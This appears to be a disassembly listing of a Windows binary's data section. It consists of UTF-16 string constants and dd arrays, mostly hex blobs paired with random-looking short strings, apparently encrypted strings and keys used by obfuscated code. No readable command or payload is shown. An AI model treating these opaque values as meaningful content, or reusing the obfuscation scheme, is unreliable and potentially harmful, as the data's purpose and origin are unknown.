a78s1676sg6x9w5:			; DATA XREF: sub_4097F2+1B0o
		unicode	0, <78s1676SG6X9W5d>,0
a0_0:
		unicode	0, <0>,0
aCda5d517da6a1c:			; DATA XREF: sub_4097F2+389o
		unicode	0, <CDA5D517DA6A1C8F11B46F05>,0
		align 4
		dd 14h
aBbww6zclp9:				; DATA XREF: sub_4097F2+379o
		unicode	0, <bbwW6ZcLp9>,0
		align 4
a4:
		unicode	0, <4>,0
a784e3efc38428b:			; DATA XREF: sub_4097F2+3C9o
		unicode	0, <784E3EFC38428B9F22E7301E7B>,0
		align 4
		dd 16h
aOqnguece747:				; DATA XREF: sub_4097F2+3B9o
		unicode	0, <oQNGueCE747>,0
		dd 0
dword_401F34	dd 0							; sub_40C7E9+2Fo ...
		dd 30h
off_401F3C	dd offset byte_410043	; DATA XREF: sub_4097F2+63Co
aB10f1207ce5615:
		unicode	0, <B10F1207CE56157437A63B>,0
		align 10h
		dd 14h
aKswmrhtlxw:				; DATA XREF: sub_4097F2+614o
		unicode	0, <kSWmRhtlXw>,0
		align 4
a8:
		unicode	0, <8>,0
a4c3798da46c9a6:			; DATA XREF: sub_4097F2+67Co
		unicode	0, <4C3798DA46C9A63344C70F8550AC>,0
		align 4
		dd 12h
aAcrkqaxyf:				; DATA XREF: sub_4097F2+66Co
		unicode	0, <acRkQaxYF>,0
a0_1:
		unicode	0, <0>,0
aBc1e2a7351a4ff:			; DATA XREF: sub_4097F2+9A9o
		unicode	0, <BC1E2A7351A4FF4B5E587BBB>,0
		align 4
		dd 18h
a9iul2xr64mhp:				; DATA XREF: sub_4097F2:loc_40A181o
		unicode	0, <9IUL2Xr64MHP>,0
		align 4
a@:
		unicode	0, <@>,0
a0ed63105fc600a:			; DATA XREF: sub_4097F2+9E9o
		unicode	0, <0ED63105FC600AA7E11ED2E2F2DC8895>,0
		align 4
		dd 1Ch
a5ixp5wm4te34zs:			; DATA XREF: sub_4097F2+9D9o
		unicode	0, <5IXp5wM4TE34zs>,0
		align 4
a0_2:
		unicode	0, <0>,0
off_4020AC	dd offset byte_410036	; DATA XREF: sub_4097F2+B5Do
		dd offset byte_410037
a058b4c353e2b10:
		unicode	0, <058B4C353E2B10743AA1>,0
		align 10h
		dd 1Ah
a8tb2vaqctgf9z:				; DATA XREF: sub_4097F2+B4Do
		unicode	0, <8TB2vAQcTGf9Z>,0
aD:
		unicode	0, <D>,0
aB83d86b0a4b113:			; DATA XREF: sub_4097F2+B9Do
		unicode	0, <B83D86B0A4B113EA5353200A33EA25FAB2>,0
		align 4
		dd 10h
aQ3p9wqf8:				; DATA XREF: sub_4097F2+B8Do
		unicode	0, <q3p9Wqf8>,0
		align 4
		unicode	0, <$>,0
aC096280f9398b4:			; DATA XREF: sub_4097F2+D93o
		unicode	0, <C096280F9398B458ED>,0
		align 10h
		dd 14h
a9d0ogazuvx:				; DATA XREF: sub_4097F2+D83o
		unicode	0, <9D0oGazuVX>,0
		align 4
aP:
		unicode	0, <P>,0
a6d0aa1bd28dff1:			; DATA XREF: sub_4097F2+DD3o
		unicode	0, <6D0AA1BD28DFF131ED212889736DAACBC1669EC8>,0
		align 4
		dd 18h
aQno1otd7m94i:				; DATA XREF: sub_4097F2+DC3o
		unicode	0, <QNo1otD7m94I>,0
		align 4
a0_3:
		unicode	0, <0>,0
aF2309ece7696d9:			; DATA XREF: sub_4097F2+F45o
		unicode	0, <F2309ECE7696D968F48E5C60>,0
		align 4
		dd 14h
aCj2mjrv4pg:				; DATA XREF: sub_4097F2+F35o
		unicode	0, <cJ2MJRV4Pg>,0
		align 4
a8_0:
		unicode	0, <8>,0
aBb31c3998c9a41:			; DATA XREF: sub_4097F2+F85o
		unicode	0, <BB31C3998C9A414AE646EA6B8813>,0
		align 4
		dd 18h
a3dr0zbqipyw8:				; DATA XREF: sub_4097F2+F75o
		unicode	0, <3dR0zbqiPyw8>,0
		align 4
a0_4:
		unicode	0, <0>,0
a4203d6d59fddf5:			; DATA XREF: sub_4097F2+12ABo
		unicode	0, <4203D6D59FDDF56EC94F76CC>,0
		align 10h
		dd 12h
aL9otr1c6p:				; DATA XREF: sub_4097F2+1291o
		unicode	0, <l9OTR1C6p>,0
a@_0:
		unicode	0, <@>,0
a4233a8a68c2a47:			; DATA XREF: sub_4097F2+12EBo
		unicode	0, <4233A8A68C2A47C2FC102FB30E20182A>,0
		align 10h
		dd 1Ch
aHagq55v57vs4sj:			; DATA XREF: sub_4097F2+12DBo
		unicode	0, <hagq55V57vS4SJ>,0
		align 4
a0_5:
		unicode	0, <0>,0
a7d6917e7d01217:			; DATA XREF: sub_4097F2+145Fo
		unicode	0, <7D6917E7D012172F3148882A>,0
		align 4
		dd 1Ah
aQl7o8shlufpbs:				; DATA XREF: sub_4097F2+144Fo
		unicode	0, <Ql7o8SHLuFpbs>,0
aD_0:
		unicode	0, <D>,0
off_4023F0	dd offset byte_410045	; DATA XREF: sub_4097F2+149Fo
a2d9b58d611f876:
		unicode	0, <2D9B58D611F876C59C91F66E5B842AE2>,0
		align 4
		dd 10h
aJu9053o9:				; DATA XREF: sub_4097F2+148Fo
		unicode	0, <jU9053o9>,0
		align 10h
		unicode	0, <$>,0
a23d7effdb010ac:			; DATA XREF: sub_4097F2+1689o
		unicode	0, <23D7EFFDB010AC5299>,0
		align 4
		unicode	0, < >,0
a3lu28j05lzy7t8:			; DATA XREF: sub_4097F2+1679o
		unicode	0, <3lU28J05Lzy7T8Ea>,0
		align 4
aP_0:
		unicode	0, <P>,0
aBfb598a9f4593e:			; DATA XREF: sub_4097F2+16C9o
		unicode	0, <BFB598A9F4593E69704C8F680D4B5B08AE69C3C4>,0
		align 4
		dd 18h
aGvnl8kkrchi9:				; DATA XREF: sub_4097F2+16B9o
		unicode	0, <GvNL8kKrcHI9>,0
		align 4
a0_6:
		unicode	0, <0>,0
aAe30e614b1c8fe:			; DATA XREF: sub_4097F2+183Bo
		unicode	0, <AE30E614B1C8FE51FE66CD45>,0
		align 4
		dd 14h
a1loxb3vm6p:				; DATA XREF: sub_4097F2:loc_40B01Do
		unicode	0, <1LoxB3vm6P>,0
		align 10h
a8_1:
		unicode	0, <8>,0
a92929c96d0df8b:			; DATA XREF: sub_4097F2+187Bo
		unicode	0, <92929C96D0DF8BEA994F86F36A6B>,0
		align 10h
		dd 10h
aP0yzvoux:				; DATA XREF: sub_4097F2+186Bo
		unicode	0, <P0yzvoux>,0
		align 4
a0_7:
		unicode	0, <0>,0
a70f95929ec7810:			; DATA XREF: sub_4097F2+1D47o
		unicode	0, <70F95929EC78109CCEC1B6B9>,0
		align 10h
		dd 1Ah
a90r8my61b5ojq:				; DATA XREF: sub_4097F2:loc_40B529o
		unicode	0, <90r8My61B5ojq>,0
		unicode	0, <H>,0
a2dd20b24a4f87a:			; DATA XREF: sub_4097F2+1D87o
		unicode	0, <2DD20B24A4F87A5A90D61A02F05DEE8876C0>,0
		align 10h
		unicode	0, < >,0
aL5l4b46u6kxi23:			; DATA XREF: sub_4097F2+1D77o
		unicode	0, <l5l4B46u6kxI23xp>,0
		align 4
a0_8:
		unicode	0, <0>,0
a698e1f9adee36a:			; DATA XREF: sub_4097F2+205Bo
		unicode	0, <698E1F9ADEE36A15EE162CFF>,0
		align 10h
		dd 18h
a7xgj7euaylj8:				; DATA XREF: sub_4097F2+204Bo
		unicode	0, <7XGJ7EuaYLj8>,0
		align 10h
		unicode	0, <H>,0
aFfdee7b15a6722:			; DATA XREF: sub_4097F2+209Bo
		unicode	0, <FFDEE7B15A672287D21FFAF10290BBD9C90F>,0
		align 10h
		unicode	0, < >,0
a952587vcua0z7z:			; DATA XREF: sub_4097F2+208Bo
		unicode	0, <952587VcUA0Z7zq5>,0
		align 4
a0_9:
		unicode	0, <0>,0
aF05010ce27d129:			; DATA XREF: sub_4097F2+22DDo
		unicode	0, <F05010CE27D129751F94D931>,0
		align 10h
		unicode	0, < >,0
aSz8czos0mw3ztl:			; DATA XREF: sub_4097F2:loc_40BABFo
		unicode	0, <sZ8Czos0mw3ztlFE>,0
		align 4
		unicode	0, <H>,0
aB87d22bf4ee52c:			; DATA XREF: sub_4097F2+231Do
		unicode	0, <B87D22BF4EE52C87A326A9593645E0300A2D>,0
		align 4
		dd 14h
a8p8fcw4cbk:				; DATA XREF: sub_4097F2+230Do
		unicode	0, <8P8FCw4CbK>,0
		align 4
a0_10:
		unicode	0, <0>,0
aFfc119ac0690c0:			; DATA XREF: sub_4097F2+2527o
		unicode	0, <FFC119AC0690C02D3DE1CECD>,0
		align 4
		dd 10h
aRe1qpk4n:				; DATA XREF: sub_4097F2+250Bo
		unicode	0, <re1QPk4n>,0
		align 4
a@_1:
		unicode	0, <@>,0
aFf7fc63c75ef87:			; DATA XREF: sub_4097F2+2567o
		unicode	0, <FF7FC63C75EF870384E5BCFA2B9BACFC>,0
		align 4
		dd 1Eh
a219m11mb0it99o:			; DATA XREF: sub_4097F2+2557o
		unicode	0, <219M11mB0IT99o2>,0
a0_11:
		unicode	0, <0>,0
a2f5e1f435a5c54:			; DATA XREF: sub_4097F2+26BFo
		unicode	0, <2F5E1F435A5C54D8C195BCEB>,0
		align 4
		dd 18h
aV92lu28b9m1y:				; DATA XREF: sub_4097F2+26AFo
		unicode	0, <v92lU28B9m1y>,0
		align 4
a0_12:
		unicode	0, <0>,0
aD1d880b3c75824:			; DATA XREF: sub_4097F2+26FFo
		unicode	0, <D1D880B3C758248D52E299B2>,0
		align 10h
		dd 14h
a329121fufk:				; DATA XREF: sub_4097F2+26EFo
		unicode	0, <329121FuFK>,0
		align 4
		unicode	0, < >,0
a1b61374817aace:			; DATA XREF: sub_4097F2+1A7Fo
		unicode	0, <1B61374817AACE4C>,0
		align 4
		dd 1Eh
a3amlz9t0w1034c:			; DATA XREF: sub_4097F2+1A6Fo
		unicode	0, <3aMlZ9T0w1034c2>,0
		dd 14h,	770038h, 350031h, 370037h, 63004Ah, 730069h, 2 dup(0)
		dd 2Ch
a89c0cc81f97763:			; DATA XREF: sub_4097F2+1ABFo
		unicode	0, <89C0CC81F9776335DD1FEF>,0
		align 4
		dd 10h
a1au3sqsh:				; DATA XREF: sub_4097F2+1AAFo
		unicode	0, <1aU3sQSH>,0
		align 4
		unicode	0, < >,0
a008531098ea886:			; DATA XREF: sub_4097F2+1BE3o
		unicode	0, <008531098EA8863B>,0
		align 4
		dd 10h
a8ehqudo1:				; DATA XREF: sub_4097F2+1BD3o
		unicode	0, <8EhquDo1>,0
		align 4
		unicode	0, <,>,0
a4c92994641507d:			; DATA XREF: sub_4097F2+1C23o
		unicode	0, <4C92994641507DBED217B9>,0
		align 4
		dd 1Eh
aSl93hjyrxhef4e:			; DATA XREF: sub_4097F2+1C13o
		unicode	0, <sL93HJYRXHEf4ek>,0
		dd 18h
dword_402AF0	dd 920001h, 1, 2 dup(0)		dd 401h, 0
		dd 20h
aA9319c49294983:			; DATA XREF: sub_40C7E9+BDo
		unicode	0, <A9319C49294983B6>,0
		align 10h
		dd 18h
a9pcbooj6m7qf:				; DATA XREF: sub_40C7E9+B0o
		unicode	0, <9pcbOOJ6m7QF>,0
		align 10h
		unicode	0, <,>,0
a8e70488bee9000:			; DATA XREF: sub_40C7E9+EEo
		unicode	0, <8E70488BEE9000E648D006>,0
		align 4
		dd 12h
aK1ik2ahs8:				; DATA XREF: sub_40C7E9+E1o
		unicode	0, <k1Ik2ahS8>,0
		dd 1Ch
aD13acee44f29b5:			; DATA XREF: sub_40CA0D+B5o
		unicode	0, <D13ACEE44F29B5>,0
		align 10h
		dd 1Eh
a6rmu92js18g943:			; DATA XREF: sub_40CA0D+A8o
		unicode	0, <6rMu92jS18G943x>,0
a4_0:
		unicode	0, <4>,0
a534c7f64368da1:			; DATA XREF: sub_40CA0D+E6o
		unicode	0, <534C7F64368DA1C7EAD5E4A022>,0
		align 10h
		dd 18h
a5181n4etlj7i:				; DATA XREF: sub_40CA0D+D9o
		unicode	0, <5181N4EtLJ7I>,0
		align 10h
		dd 16h
dword_402C44	dd 4, 1, 0			dd 1730000h, 0FFFFFFFFh, 1, 20h
a62cb79d3b18dc6:			; DATA XREF: sub_40CCED+9Co
		unicode	0, <62CB79D3B18DC608>,0
		align 4
		dd 12h
aS6llzg0jm:				; DATA XREF: sub_40CCED+8Fo
		unicode	0, <s6LlzG0Jm>,0
a@_2:
		unicode	0, <@>,0
a7b0af891653b6e:			; DATA XREF: sub_40CCED+CDo
		unicode	0, <7B0AF891653B6EFA12A7FE509A9924B5>,0
		align 4
		dd 14h
a16j2qgan9w:				; DATA XREF: sub_40CCED+C0o
		unicode	0, <16J2qgaN9w>,0
		align 10h
		unicode	0, < >,0
a279edcbba0c482:			; DATA XREF: sub_40CCED+1B9o
		unicode	0, <279EDCBBA0C48257>,0
		align 4
		dd 18h
a22j3589p74w5:				; DATA XREF: sub_40CCED+1ACo
		unicode	0, <22j3589P74W5>,0
		align 4
		dd 10h,	480036h, 500032h, 660032h, 380034h, 0
		dd 16h,	46004Bh, 690032h, 4D0070h, 390037h, 37004Fh, 33h
		dd 48h
aF74d6f4ba3113c:			; DATA XREF: sub_40CCED+1EAo
		unicode	0, <F74D6F4BA3113CA094C8665388A9AFB7762C>,0
		align 4
		dd 1Ah
aE5nokwj4j4zk6:				; DATA XREF: sub_40CCED+1DDo
		unicode	0, <E5noKwj4j4Zk6>,0
		dd 18h
dword_402DF0	dd 920001h, 1, 2 dup(0)		dd 181h, 0
		dd 20h
a17f3eeee7cda4f:			; DATA XREF: sub_40D252+99o
		unicode	0, <17F3EEEE7CDA4F4B>,0
		align 10h
		dd 16h
a9oi0uto5k7v:				; DATA XREF: sub_40D252+8Co
		unicode	0, <9oI0UTO5k7V>,0
a0_13:
		unicode	0, <0>,0
a8497bb8ad55ed7:			; DATA XREF: sub_40D252+CAo
		unicode	0, <8497BB8AD55ED78523DF55AA>,0
		align 4
		dd 10h
aCqbh329n:				; DATA XREF: sub_40D252+BDo
		unicode	0, <CQbH329n>,0
		align 4
		dd 18h
dword_402EA0	dd 920001h, 1, 2 dup(0)		dd 101h, 0
		dd 4
a04:					; DATA XREF: sub_40D5AE+9Fo
		unicode	0, <04>,0
		align 4
		dd 14h
a876pst813y:				; DATA XREF: sub_40D5AE+92o
		unicode	0, <876pSt813Y>,0
		align 10h
		dd 4
a31:					; DATA XREF: sub_40D5AE+E1o
		unicode	0, <31>,0
		align 4
		dd 1Ch
aY0x6xo45d80m3k:			; DATA XREF: sub_40D5AE+C8o
		unicode	0, <Y0X6xO45d80M3k>,0
		align 10h
		dd 1Eh,	720032h, 350030h, 790031h, 4B0036h, 65006Ah, 300045h
		dd 6C0049h, 54h, 1E8h, 410045h,	450030h, 410043h, 330037h
		dd 310037h, 370038h, 440032h, 420038h, 320042h,	340032h
		dd 380032h, 430033h, 460039h, 380031h, 370045h,	460031h
		dd 360030h, 380037h, 360044h, 420035h, 300046h,	300033h
		dd 330041h, 380043h, 430046h, 430033h, 380037h,	320039h
		dd 410046h, 340033h, 330043h, 360039h, 460041h,	310032h
		dd 320044h, 380035h, 320038h, 390035h, 440036h,	410041h
		dd 390042h, 410042h, 300030h, 410035h, 340041h,	440032h
		dd 300042h, 380045h, 360046h, 320043h, 450038h,	460045h
		dd 440031h, 370031h, 420033h, 380036h, 380041h,	380030h
		dd 320045h, 390042h, 450036h, 410046h, 430031h,	320043h
		dd 370046h, 340032h, 420039h, 430046h, 310034h,	320038h
		dd 410032h, 460039h, 380039h, 460037h, 310039h,	350038h
		dd 370045h, 440035h, 380030h, 380035h, 350046h,	370037h
		dd 300046h, 380033h, 340036h, 340032h, 370038h,	410038h
		dd 420033h, 360044h, 330032h, 430043h, 340039h,	350044h
		dd 440034h, 450035h, 450030h, 330035h, 410032h,	320030h
		dd 300035h, 310042h, 350041h, 350039h, 430043h,	450039h
		dd 310041h, 370042h, 340038h, 430039h, 460036h,	410039h
		dd 310036h, 430043h, 410042h, 460030h, 450044h,	340044h
		dd 320032h, 440038h, 370033h, 300043h, 0
		dd 1E8h, 360039h, 410030h, 410034h, 380038h, 380034h, 420042h
		dd 410038h, 370039h, 350031h, 390044h, 350034h,	360044h
		dd 300037h, 330046h, 420044h, 350035h, 440042h,	360045h
		dd 310036h, 350044h, 300031h, 420034h, 330031h,	380039h
		dd 460035h, 420031h, 360030h, 300045h, 310045h,	450036h
		dd 320037h, 420043h, 460039h, 440042h, 410044h,	370045h
		dd 420044h, 370035h, 340032h, 320043h, 370045h,	390044h
		dd 450038h, 390030h, 410037h, 410030h, 300037h,	330033h
		dd 360030h, 390046h, 440041h, 340036h, 380038h,	340045h
		dd 380041h, 440032h, 440044h, 460031h, 360044h,	330045h
		dd 390038h, 370044h, 390037h, 330041h, 450034h,	410043h
		dd 350044h, 310036h, 440031h, 460034h, 410030h,	370046h
		dd 390030h, 450038h, 310042h, 430039h, 310044h,	410038h
		dd 410037h, 380031h, 380041h, 390045h, 310033h,	360037h
		dd 420045h, 340042h, 320036h, 430039h, 390035h,	450043h
		dd 360034h, 310045h, 320041h, 340034h, 300036h,	440042h
		dd 360036h, 430044h, 390037h, 360036h, 320034h,	390041h
		dd 410046h, 320042h, 430039h, 440035h, 310039h,	310032h
		dd 380035h, 310038h, 360045h, 320034h, 440045h,	300031h
		dd 420043h, 440043h, 440044h, 420032h, 360039h,	310035h
		dd 350035h, 460034h, 0
		dd 1E8h, 440046h, 380038h, 440039h, 430035h, 2 dup(440036h)
		dd 390043h, 360033h, 450041h, 310041h, 370031h,	430042h
		dd 340045h, 390045h, 360046h, 320035h, 380035h,	410033h
		dd 450043h, 410038h, 440042h, 440035h, 350037h,	390045h
		dd 360038h, 360035h, 340035h, 320037h, 350041h,	340030h
		dd 440034h, 350036h, 350046h, 440034h, 440037h,	300045h
		dd 330030h, 390044h, 410031h, 440046h, 330041h,	360046h
		dd 390033h, 350043h, 360039h, 310038h, 310035h,	360041h
		dd 310044h, 430037h, 360042h, 420038h, 440044h,	330038h
		dd 420030h, 310041h, 450036h, 450034h, 450032h,	370035h
		dd 340036h, 340043h, 440034h, 340043h, 420037h,	370037h
		dd 460033h, 460038h, 350032h, 450041h, 380042h,	410033h
		dd 430037h, 450046h, 350041h, 460030h, 420043h,	360030h
		dd 320033h, 450046h, 350039h, 390041h, 420042h,	340033h
		dd 370045h, 380037h, 370038h, 330032h, 430039h,	440037h
		dd 380031h, 440034h, 450038h, 380045h, 330036h,	340033h
		dd 430041h, 420043h, 410030h, 370045h, 390035h,	330044h
		dd 380043h, 370045h, 450045h, 380032h, 390035h,	310041h
		dd 390030h, 380031h, 320039h, 370037h, 450045h,	420042h
		dd 410031h, 330045h, 310034h, 350044h, 460046h,	450031h
		dd 460038h, 440031h, 0
		dd 1E8h, 300038h, 380044h, 310035h, 460035h, 410035h, 340038h
		dd 450033h, 380030h, 390033h, 410036h, 450041h,	300037h
		dd 330031h, 310036h, 340041h, 320034h, 340045h,	380031h
		dd 420044h, 440032h, 410031h, 320045h, 390030h,	390041h
		dd 380045h, 330033h, 360036h, 460032h, 360042h,	310034h
		dd 430043h, 460046h, 370032h, 340045h, 460039h,	390033h
		dd 450032h, 430046h, 430031h, 350030h, 450035h,	410041h
		dd 320046h, 310033h, 440035h, 370031h, 330034h,	390031h
		dd 410034h, 350043h, 310039h, 430031h, 410042h,	430041h
		dd 460045h, 300032h, 450044h, 360035h, 350030h,	380037h
		dd 450042h, 460035h, 350031h, 350044h, 370039h,	460041h
		dd 310038h, 340039h, 320041h, 460032h, 310037h,	390042h
		dd 320041h, 460039h, 330042h, 430032h, 450043h,	300043h
		dd 450034h, 340036h, 310044h, 330046h, 350037h,	460042h
		dd 350032h, 380037h, 450034h, 340035h, 310037h,	350043h
		dd 330030h, 320031h, 460032h, 300033h, 310033h,	370043h
		dd 300031h, 380045h, 390032h, 460030h, 370033h,	370036h
		dd 440041h, 340031h, 320037h, 380037h, 450036h,	420041h
		dd 440044h, 310041h, 440031h, 360038h, 380035h,	430037h
		dd 340030h, 410042h, 420045h, 390045h, 410043h,	350039h
		dd 420036h, 430034h, 0
		dd 1E8h, 450041h, 320033h, 460034h, 360037h, 310030h, 420046h
		dd 330034h, 460034h, 350038h, 310043h, 460031h,	370037h
		dd 460037h, 350034h, 340038h, 370043h, 380031h,	460038h
		dd 460032h, 300036h, 330038h, 390044h, 390041h,	320033h
		dd 430039h, 450046h, 440034h, 370037h, 440037h,	360046h
		dd 310031h, 390042h, 460032h, 320043h, 360037h,	420035h
		dd 340037h, 330039h, 410044h, 370036h, 310032h,	420042h
		dd 340030h, 460034h, 380045h, 410032h, 340043h,	310046h
		dd 320046h, 380036h, 420043h, 380036h, 450043h,	370038h
		dd 450037h, 380042h, 380037h, 460041h, 320032h,	390035h
		dd 310043h, 320041h, 390035h, 390039h, 380036h,	2 dup(420039h)
		dd 460036h, 410045h, 440035h, 310031h, 350043h,	350041h
		dd 390045h, 350030h, 370042h, 460043h, 360033h,	370041h
		dd 360035h, 340030h, 440030h, 420045h, 450033h,	330043h
		dd 440033h, 390031h, 310036h, 460034h, 310046h,	320036h
		dd 340043h, 430043h, 390039h, 340037h, 380038h,	310042h
		dd 310044h, 320034h, 360034h, 380031h, 370043h,	350030h
		dd 380044h, 450044h, 430036h, 440045h, 390045h,	360031h
		dd 340038h, 410031h, 420039h, 300032h, 370041h,	370046h
		dd 370033h, 440031h, 340045h, 420044h, 450033h,	310031h
		dd 450045h, 0
		dd 1Ch,	660062h, 610035h, 380071h, 470075h, 540039h, 4E0053h
		dd 36004Eh, 0
		dd 20h,	390063h, 500041h, 460030h, 450035h, 4C0039h, 370057h
		dd 720038h, 710031h, 0
		dd 10h,	320039h, 610034h, 560032h, 390048h, 0
		dd 1Ch,	720032h, 51004Fh, 390032h, 4F0031h, 6D004Ch, 4D0030h
		dd 540072h, 0
		dd 14h,	740067h, 460037h, 410046h, 630030h, 470031h, 0
		dd 10h,	340064h, 690064h, 68004Ch, 330042h, 0
		dd 1Ch,	320032h, 680030h, 6C0044h, 380032h, 4A0030h, 310038h
		dd 330051h, 0
		dd 1Ch,	330059h, 70006Fh, 580045h, 6E0044h, 31006Bh, 6C0054h
		dd 740033h, 0
		dd 12h,	6A0077h, 560033h, 710076h, 370051h, 41h, 18h, 440033h
		dd 330072h, 360049h, 320047h, 79006Fh, 460044h,	0
		dd 1Ah,	740039h, 450030h, 36004Dh, 4B005Ah, 470030h, 360031h
		dd 4Ah,	1Ah, 50004Eh, 310034h, 4E004Bh,	6C004Bh, 4B007Ah
		dd 5A0071h, 70h, 12h, 360053h, 440045h,	460059h, 4A0062h
		dd 46h,	14h, 390033h, 350069h, 350071h,	550067h, 310031h
		dd 0
		dd 1E8h, 350041h, 450037h, 360037h, 420041h, 440034h, 310044h
		dd 330038h, 450037h, 330032h, 330041h, 340032h,	380031h
		dd 350035h, 300037h, 310043h, 410046h, 310037h,	430034h
		dd 380046h, 420037h, 410037h, 300031h, 450036h,	460035h
		dd 420042h, 390032h, 2 dup(350037h), 420046h, 370034h
		dd 340038h, 390045h, 350044h, 390041h, 440045h,	440032h
		dd 430032h, 450044h, 420036h, 410039h, 360033h,	340036h
		dd 300032h, 460044h, 450032h, 350036h, 330036h,	310031h
		dd 460042h, 360042h, 320046h, 450042h, 360039h,	350033h
		dd 360031h, 310033h, 430046h, 360044h, 450043h,	390043h
		dd 320038h, 350041h, 460032h, 410035h, 340036h,	420038h
		dd 460042h, 340038h, 340041h, 460035h, 330038h,	360037h
		dd 350043h, 370038h, 370043h, 450038h, 410039h,	430043h
		dd 380030h, 300042h, 410046h, 360042h, 420043h,	460034h
		dd 330033h, 360037h, 360046h, 390042h, 460034h,	420032h
		dd 310037h, 460041h, 320036h, 330030h, 300041h,	360044h
		dd 410038h, 410035h, 420043h, 390033h, 430034h,	420037h
		dd 440045h, 440044h, 300036h, 390036h, 360032h,	450035h
		dd 370039h, 330036h, 360030h, 370043h, 300045h,	320045h
		dd 330037h, 390035h, 390036h, 410037h, 410034h,	360045h
		dd 310033h, 360046h, 0
		dd 1E8h, 340032h, 320039h, 320043h, 390035h, 330034h, 420042h
		dd 460035h, 430044h, 320036h, 460043h, 420044h,	450042h
		dd 340037h, 370045h, 330043h, 390033h, 390045h,	340038h
		dd 410036h, 360030h, 420030h, 390037h, 450043h,	410038h
		dd 430030h, 360041h, 320045h, 370046h, 440042h,	380037h
		dd 430037h, 330035h, 450033h, 360038h, 330042h,	340033h
		dd 330045h, 310032h, 390034h, 450044h, 330042h,	380041h
		dd 310043h, 390031h, 350043h, 420035h, 360037h,	360045h
		dd 430031h, 410031h, 440034h, 420030h, 430036h,	430043h
		dd 380031h, 350031h, 380037h, 430035h, 440042h,	410034h
		dd 310032h, 380046h, 340044h, 370039h, 440037h,	380041h
		dd 440044h, 300042h, 320046h, 440034h, 440039h,	460037h
		dd 350031h, 450045h, 350041h, 310041h, 320037h,	350037h
		dd 380045h, 410044h, 380033h, 420044h, 450034h,	390044h
		dd 420043h, 440034h, 440031h, 410046h, 370046h,	450038h
		dd 440033h, 300037h, 360038h, 370046h, 320043h,	380031h
		dd 420045h, 340046h, 420043h, 440036h, 460045h,	430037h
		dd 330030h, 440039h, 450041h, 340042h, 350042h,	350030h
		dd 330033h, 300036h, 310034h, 380044h, 450036h,	460044h
		dd 420045h, 410036h, 300042h, 450045h, 340034h,	330036h
		dd 390033h, 450032h, 0
		dd 1E8h, 300034h, 440034h, 360045h, 310036h, 420041h, 320036h
		dd 430036h, 310037h, 340032h, 410046h, 310031h,	460030h
		dd 410034h, 430034h, 460033h, 420045h, 450044h,	320046h
		dd 350042h, 390037h, 460039h, 320030h, 350037h,	440035h
		dd 460041h, 310044h, 410043h, 430042h, 440031h,	320046h
		dd 300041h, 320041h, 350031h, 410041h, 430030h,	350043h
		dd 440031h, 440032h, 380041h, 350037h, 330036h,	320033h
		dd 360041h, 390035h, 320046h, 360033h, 460033h,	440036h
		dd 440032h, 360039h, 430031h, 340044h, 310045h,	300037h
		dd 370042h, 340041h, 460042h, 420031h, 370041h,	310034h
		dd 440044h, 370036h, 380041h, 370038h, 440042h,	360038h
		dd 430034h, 390041h, 410039h, 440044h, 340037h,	430031h
		dd 410032h, 390033h, 300046h, 340041h, 320043h,	330044h
		dd 440042h, 370031h, 310036h, 390043h, 370033h,	340036h
		dd 440035h, 410033h, 450046h, 370044h, 320037h,	460037h
		dd 460045h, 350036h, 430039h, 390043h, 330030h,	410043h
		dd 410037h, 310042h, 320036h, 350030h, 460044h,	440041h
		dd 320042h, 310036h, 430042h, 420036h, 300038h,	330038h
		dd 390044h, 440037h, 340036h, 320038h, 410034h,	430043h
		dd 390030h, 350041h, 310046h, 410034h, 300035h,	390035h
		dd 300046h, 420032h, 0
		dd 1E8h, 360032h, 440031h, 350043h, 380043h, 330038h, 460042h
		dd 360046h, 440046h, 320043h, 380035h, 420033h,	330035h
		dd 310038h, 320045h, 350030h, 340031h, 300032h,	410034h
		dd 300044h, 410041h, 420038h, 410044h, 320033h,	330042h
		dd 350035h, 320039h, 310036h, 460034h, 380030h,	330036h
		dd 310035h, 330041h, 420039h, 320033h, 450038h,	430035h
		dd 440037h, 350042h, 330044h, 360032h, 430035h,	380039h
		dd 420034h, 410038h, 330043h, 380042h, 380032h,	430035h
		dd 360042h, 300031h, 350043h, 430041h, 440046h,	300030h
		dd 380037h, 310041h, 350032h, 310032h, 300041h,	310044h
		dd 340038h, 420031h, 310034h, 310039h, 410037h,	420036h
		dd 310030h, 460033h, 380034h, 350035h, 300033h,	410041h
		dd 360042h, 440035h, 370044h, 320041h, 330030h,	390033h
		dd 440043h, 320046h, 430031h, 410041h, 450041h,	450044h
		dd 460031h, 380031h, 340030h, 370036h, 330045h,	310046h
		dd 450031h, 340035h, 330046h, 340046h, 380038h,	370031h
		dd 310043h, 360030h, 410036h, 420036h, 300035h,	430030h
		dd 440042h, 450034h, 310036h, 340043h, 380031h,	320042h
		dd 350036h, 370036h, 440036h, 310044h, 460031h,	360031h
		dd 350039h, 380031h, 340036h, 300037h, 450031h,	300034h
		dd 330036h, 430033h, 0
		dd 1E8h, 430034h, 420038h, 320037h, 440039h, 420042h, 460031h
		dd 430046h, 440034h, 360034h, 320031h, 390046h,	310045h
		dd 300036h, 430043h, 380046h, 310032h, 420033h,	390036h
		dd 310045h, 360031h, 380032h, 420036h, 420035h,	380046h
		dd 450038h, 320036h, 460037h, 330045h, 450038h,	380046h
		dd 420030h, 380036h, 410037h, 440041h, 420043h,	390033h
		dd 460033h, 320042h, 410042h, 330046h, 310045h,	410037h
		dd 420030h, 340036h, 460030h, 390042h, 420031h,	350033h
		dd 360035h, 460038h, 360032h, 340039h, 440045h,	440041h
		dd 360039h, 330038h, 310034h, 390030h, 410036h,	420039h
		dd 310031h, 390033h, 420033h, 430046h, 430045h,	360045h
		dd 380042h, 380045h, 320042h, 390036h, 450038h,	420039h
		dd 380043h, 450036h, 460039h, 300034h, 410043h,	300034h
		dd 370034h, 300046h, 300035h, 450041h, 310042h,	310032h
		dd 330046h, 410046h, 430034h, 370043h, 320041h,	350036h
		dd 360042h, 360046h, 460045h, 340034h, 410035h,	410043h
		dd 310030h, 410035h, 340035h, 380038h, 370044h,	360046h
		dd 440037h, 350041h, 330036h, 310045h, 360035h,	410037h
		dd 330033h, 430041h, 450033h, 330041h, 410033h,	350042h
		dd 370031h, 330030h, 320036h, 460043h, 310041h,	370039h
		dd 390030h, 370043h, 0
		dd 1E8h, 360031h, 390044h, 420031h, 320038h, 430044h, 440036h
		dd 360045h, 380043h, 330033h, 420037h, 360039h,	390039h
		dd 460041h, 340034h, 360036h, 380037h, 300046h,	310034h
		dd 450035h, 460039h, 380042h, 430041h, 350046h,	320039h
